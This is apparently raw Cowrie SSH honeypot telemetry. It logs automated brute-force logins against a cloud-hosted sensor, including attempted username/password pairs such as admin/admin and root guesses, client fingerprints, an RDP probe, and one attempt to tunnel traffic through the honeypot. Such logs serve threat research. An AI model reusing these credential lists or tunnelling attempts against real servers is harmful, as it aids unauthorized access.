{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4960,"dst_ip":"10.17.0.5","dst_port":22,"session":"45148e9174e0","protocol":"ssh","message":"New connection: 87.251.64.176:4960 (10.17.0.5:22) [session: 45148e9174e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.109095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.114549Z","src_ip":"87.251.64.176","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.211907Z","src_ip":"87.251.64.176","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.505013Z","src_ip":"87.251.64.176","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.605420Z","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.704730Z","src_ip":"87.251.64.176","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:12.804071Z","src_ip":"87.251.64.176","session":"45148e9174e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27536,"dst_ip":"159.203.135.109","dst_port":22,"session":"426b2b229756","protocol":"ssh","message":"New connection: 2.57.121.112:27536 (159.203.135.109:22) [session: 426b2b229756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:59.196705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:59.200044Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:59.299023Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300980","message":"login attempt [admin/300980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:16:59.771064Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300786","message":"login attempt [admin/300786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:00.874316Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300781","message":"login attempt [admin/300781] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:01.981330Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30071975","message":"login attempt [admin/30071975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:03.089911Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300683","message":"login attempt [admin/300683] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:04.193461Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":55318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdeaa080a3c1","protocol":"ssh","message":"New connection: 103.82.132.16:55318 (10.17.0.5:22) [session: bdeaa080a3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:05.179011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:05.189363Z","src_ip":"103.82.132.16","session":"bdeaa080a3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:05.298190Z","src_ip":"2.57.121.112","session":"426b2b229756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:05.452877Z","src_ip":"103.82.132.16","session":"bdeaa080a3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"59trick","message":"login attempt [root/59trick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:06.242221Z","src_ip":"103.82.132.16","session":"bdeaa080a3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:07.563807Z","src_ip":"103.82.132.16","session":"bdeaa080a3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a701403bced","protocol":"ssh","message":"New connection: 51.250.105.222:59116 (10.17.0.5:22) [session: 2a701403bced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:08.921074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:08.926128Z","src_ip":"51.250.105.222","session":"2a701403bced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:09.058330Z","src_ip":"51.250.105.222","session":"2a701403bced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjrjvjnbd","message":"login attempt [root/kjrjvjnbd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:09.448846Z","src_ip":"51.250.105.222","session":"2a701403bced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:10.581012Z","src_ip":"51.250.105.222","session":"2a701403bced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46702,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e2f868cd9f","protocol":"ssh","message":"New connection: 103.27.238.116:46702 (10.17.0.5:22) [session: 17e2f868cd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:21.572684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:21.577152Z","src_ip":"103.27.238.116","session":"17e2f868cd9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:21.841550Z","src_ip":"103.27.238.116","session":"17e2f868cd9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:22.636330Z","src_ip":"103.27.238.116","session":"17e2f868cd9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:17:23.904533Z","src_ip":"103.27.238.116","session":"17e2f868cd9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43532,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a646617571","protocol":"ssh","message":"New connection: 87.251.79.125:43532 (159.203.135.109:22) [session: 40a646617571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:01.403464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:01.408982Z","src_ip":"87.251.79.125","session":"40a646617571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:01.487033Z","src_ip":"87.251.79.125","session":"40a646617571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaman","message":"login attempt [root/shaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:01.704952Z","src_ip":"87.251.79.125","session":"40a646617571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:02.818309Z","src_ip":"87.251.79.125","session":"40a646617571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54713,"dst_ip":"10.17.0.5","dst_port":22,"session":"883ab671d71b","protocol":"ssh","message":"New connection: 152.42.212.128:54713 (10.17.0.5:22) [session: 883ab671d71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:10.696116Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:10.701845Z","src_ip":"152.42.212.128","session":"883ab671d71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:10.705772Z","src_ip":"152.42.212.128","session":"883ab671d71b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.104.207","src_port":58234,"dst_ip":"10.17.0.5","dst_port":22,"session":"6106c086d28f","protocol":"ssh","message":"New connection: 198.20.104.207:58234 (10.17.0.5:22) [session: 6106c086d28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:42.986710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:42.991871Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.079587Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:49:c6:7e:b2:2f:e6:86:74:0b:98:50:75:b7:7d:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd96YYD3ZwGpnD3mEEYm6hwXImEtrVnXsjr0qsyfRs0lUifWpa4aTDtpcIPKx01MziiSLvLtTSxGpVKq0ctdeahAMQoxRFLOE3S0B2+bOyK382yWMosNlhOEMq/f+qQg7BjG8COoHSKpsG+148Z3NfssxwaYcAmtvoc7pDjzZTEcaUytOK1X+IPhBPywB69JbO1m0No5xZ4ZnkyHEx0rThquu7bxKsoGTaLitHZxPDYoqjQlt0Wb9/o275eX9teJJvgTuk/W35WMJ5JeYExdFXQbERfubzABe4GyuDDr4lXeYYCRBb9giCICyc+efGqtADDrpKGdt59nfH3CeTO07R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:49:c6:7e:b2:2f:e6:86:74:0b:98:50:75:b7:7d:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:18:43.491089Z","src_ip":"198.20.104.207","session":"6106c086d28f","protocol":"ssh"}
